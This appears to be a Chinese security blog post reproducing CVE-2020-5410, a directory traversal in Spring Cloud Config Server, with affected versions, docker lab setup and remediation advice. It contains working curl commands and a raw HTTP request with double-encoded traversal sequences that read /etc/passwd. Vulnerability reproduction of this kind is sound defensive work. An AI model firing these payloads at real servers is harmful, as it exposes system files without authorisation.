Spring Cloud Config 目录穿越漏洞(CVE-2020-5410)复现 – 作者:thelostworld

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Spring Cloud Config 目录穿越漏洞

(CVE-2020-5410)

一、漏洞简介

Spring Cloud Config,2.2.3之前的2.2.x版本,2.1.9之前的2.1.x版本以及较旧的不受支持的版本允许应用程序通过spring-cloud-config-server模块提供任意配置文件。恶意用户或攻击者可以使用特制URL发送请求,这可能导致目录遍历攻击。

二、影响版本

Spring Cloud Config: 2.2.0 to 2.2.2

Spring Cloud Config: 2.1.0 to 2.1.8

三、漏洞环境&漏洞复现

PoC:

curl “vulnerablemachine:port/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development”

curl “127.0.0.1:8888/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development”

docker环境部署:

docker pull hyness/spring-cloud-config-server:2.1.6.RELEASE

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docker run -it –name=spring-cloud-config-server \

-p 8888:8888 \

hyness/spring-cloud-config-server:2.1.6.RELEASE \

–spring.cloud.config.server.git.uri=https://github.com/spring-cloud-samples/config-repo

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访问地址:http://192.168.0.110:8888/

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执行POC:

curl “192.168.0.110:8888/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development”

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Burp执行访问:

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详细数据包:

GET /..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development HTTP/1.1

Host: 192.168.0.110:8888

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

系统执行访问记录:

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四、修复建议:

升级到 Spring Cloud Config 至2.2.3版本或2.1.9版本,并且将Spring-Cloud-Config-Server服务放置在内网中,同时使用Spring Security进行身份验证。最新版本下载地址为:https://github.com/spring-cloud/spring-cloud-config/releases

参考:

https://github.com/osamahamad/CVE-2020-5410-POC

https://xz.aliyun.com/t/7877

https://blog.csdn.net/wanzt123/article/details/106765503

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thelostworld

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来源:freebuf.com 2021-02-20 16:50:43 by: thelostworld

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